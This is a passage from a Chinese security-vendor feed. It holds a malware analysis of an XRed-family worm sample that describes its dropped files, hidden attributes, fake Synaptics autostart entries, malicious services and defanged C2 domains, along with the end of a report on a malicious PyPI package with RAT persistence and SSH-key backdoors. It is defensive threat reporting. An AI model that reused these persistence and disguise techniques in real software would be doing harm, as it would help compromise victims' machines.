&#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">多重持久化 + 时间戳伪造</span></strong><p><span leaf="">：每个平台均部署 2 种以上持久化机制互为兜底，并对落地文件的时间戳进行伪造，增加取证难度。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SSH 后门（Linux root）</span></strong><p><span leaf="">：在获得 root 权限的 Linux 环境中额外注入 SSH 公钥，即使 RAT 进程被清除，攻击者仍可通过 SSH 重新进入系统。</span></p></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">建议用户避免安装不可信的第三方 Python 包，天问Python供应链威胁监测模块将持续对 PyPI 进行监测。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意包信息</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.54296875" data-s="300,640" data-type="png" data-w="1280" style="width:578px;height:314px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/QSjGzxHEMdvGWjgqCrUibgm6pzEut3M2L1G4QkovbgQMlAhTzZjdGLNRj88VOtvoGeUh0ogJFJ6oROiawsL7icYD4iaFgK53UqicUbiceic27vY19I/0?wx_fmt=png&amp;from=appmsg" data-cropx2="1558.0000000000002" data-cropy1="78.16955017301038" data-cropy2="924.5570934256054" data-imgfileid="100005404" src="https://wechat2rss.xlab.app/img-proxy/?k=39d33b81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdupNYS8mh5JtY9uzKZ9QcBLXgicfEF8PEuom2FFCRGejyd6xVQRJh8FXZqxC35bFe77Br6bbeNicDQvic2WvIURlMI2Eo5qlaZfrE%2F640%3Fwx_fmt%3Djpeg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=05c9cad3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489077%26idx%3D1%26sn%3D10b43bea80dfb77b171d5da8b83fa3ca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 03 Mar 2026 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】新年伊始，未知文件别乱点</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489076&amp;idx=1&amp;sn=6efee85d03241a1eb1bff49ace925b27</link>
      <description>近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-03-02 17:48</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e489af04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdtKY8AdkptdFcsAP7jnSUZIVRCV4x7iaJHtGattytfPCHwQbCs1QYEAfNCoAcwicLZUDKvNHuR5kJWnDPLicN8kngic57H97WIXSSo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。</p>
  <h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">一、概述</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">二、样本信息</span></h1><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名: SB360.exe</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1: 0dc1b2aa1b7e628c2c85dfda891683dd13af845a</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型: EXE</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小: 5.31 MB</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">家族归属: XRed家族</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接: </span></p><p><span leaf="">[天穹沙箱分析报告](<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)</a></span></p></li></ul><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">三、样本分析</span></h1><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005427" data-ratio="0.5453703703703704" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=30348bd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtzcyVuCMkU7aRkMxZCWECf9vGnmgia0WloGBEV6vJ5YgUjFLLsI9pkloCE2xUpMmRNmp5fO4m53AJQpvDnU6OREfTNCXIt59as%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 样本进程攻击执行链</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本进程 SB360.exe 执行后释放文件 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">._cache_SB360.exe</span></code><span leaf="">，并将该文件属性修改为隐藏以降低被用户发现的概率，随后立即执行该文件。同时，样本进程通过创建名为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">Synaptics Pointing Device Driver</span></strong><span leaf=""> 的自启动项建立持久化机制，使 Synaptics.exe 在系统启动时自动运行，如图 2 所示。Synaptics.exe 启动后会访问域名 xred[.]mooo[.]com 和 freedns[.]afraid[.]org 进行网络通信，如图 3 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.05925925925925926" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005414" src="https://wechat2rss.xlab.app/img-proxy/?k=14497e15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvK830ejVBlQicsicok5IAOznhLgfLBdr42h9zGAA0qUjibJVmYRlTibr7CVu8lCTOaOPyz1u4ZPJicPvTd1D8zEojFTnqRNZbpyIQk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 设置 Synaptics 自启动项</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.07222222222222222" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005411" src="https://wechat2rss.xlab.app/img-proxy/?k=8369540f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvnMw5vOcqTq3BPLKbia9KoCmeic6EqKqFhPtEVU1wArrBLvrE4XRWjAeKaAeicFfuCm5qAPSEXJ3ic9MWMKEibtecueB6k93PjFe40%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 Synaptics 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">._cache_SB360.exe</span></code><span leaf=""> 进程随后释放 HD_._cache_SB360.exe 和 svchost.exe 文件，并通过创建系统服务的方式运行 svchost.exe，从而间接执行 HD_._cache_SB360.exe 文件。同时，该进程还设置 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">._cache_SB360.exe</span></code><span leaf=""> 自身以及 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">HD_ls.exe</span></strong><span leaf=""> 为开机自启动程序，并访问域名 qq678833[.]f08[.]87yun[.]club。如图 4、5、6 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.06388888888888888" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005412" src="https://wechat2rss.xlab.app/img-proxy/?k=02377fd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtJjKsVRoqZAuTsibGbevO6zUDRk3CWurEA9iaWq5mN7nyUTQEE9iayGnKD60wiaHyHuHwvibg7Ibkmjp6ah8sQicPjZdicGBk859pfks%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 设置 ._cache_SB360.exe 自启动</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.04351851851851852" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005413" src="https://wechat2rss.xlab.app/img-proxy/?k=f06557d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdthsjROIZShsS7Gr0t9vHXwbxyP0VTjl6Uv7hDGQic7xWhZQuCnWMD8hXK5n223TMgVjVrVIGiaVC0Y7qn5nVqzPcrnpOoxpxhbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 设置 HD_ls.exe 自启动</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.041666666666666664" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005416" src="https://wechat2rss.xlab.app/img-proxy/?k=8f6f7db8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsefP0x6nu8kglliaYfYw5Pgp3rdibcCzicCNEwWXlaDKC2wzHgvyLjSYCFznRI1EFuyBTY85ruCP1hAZyDCvqiasC98kl8yMOErwU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图6 ._cache_SB360.exe 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HD_._cache_SB360.exe 释放并执行 ._cache_HD_._cache_SB360.exe 文件。._cache_HD_._cache_SB360.exe 进程进一步释放并执行 HD_._cache_HD_._cache_SB360.exe 和 GLk.exe 程序。如图 7 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.24074074074074073" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005418" src="https://wechat2rss.xlab.app/img-proxy/?k=d26afc2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMduK3Ciba0XseVo7rNmF3ib80eKgS5lLAiazkeYvKR2VUs7CoMH0oKaiaXiaNIm9IgZXH5byfNibEjgYJFlTlYhcR8jGP4vv04gnClDns%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图7 创建子进程</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HD_._cache_HD_._cache_SB360.exe 进程将自身拷贝到 C:\WINDOWS\System32\Abrst.exe 并创建系统服务，访问域名 5614894156aa[.]e1[.]luyouxia[.]net。如图 8、9、10 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.04814814814814815" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005417" src="https://wechat2rss.xlab.app/img-proxy/?k=d719eca6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdu0vCnwINAib4OpIG8O8Fic8FOTxZHY47UR3ZTicyibnEJmzAck2LKPoSCWV5CsASeibelkcPxWB5ZdUS6gcibztkJgsibiavhU2p4VIz4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图8 复制自身</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.10462962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005419" src="https://wechat2rss.xlab.app/img-proxy/?k=28dec389&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsBPdqFiaHaAfANibHYibvicRplx7asartDu6Z6Z5fClu89XStByXcC8PL1nzgdx59Z3qbEiboRx9LdUJnYxNwn8xlK8Gia3OPcV1neI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图9 创建系统服务</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.03333333333333333" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005415" src="https://wechat2rss.xlab.app/img-proxy/?k=6dc2fcb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMduqsOhxCcw4ON6jnib3t7R2lZV1GOGrlm4PhEhlO4gO65cHHGVaoNSzDbxTRErCJicr85xqJengjuj07O3JLialt86Mk46Jyh1xmY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图10 Abrst.exe 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">GLk.exe 进程会创建系统服务，并利用系统 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">svchost.exe</span></strong><span leaf=""> 加载 53727812.bat(实际为 DLL 文件)以实现持久化驻留，并访问域名 kinh[.]xmcxmr[.]com。如图 11、12 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.20462962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005420" 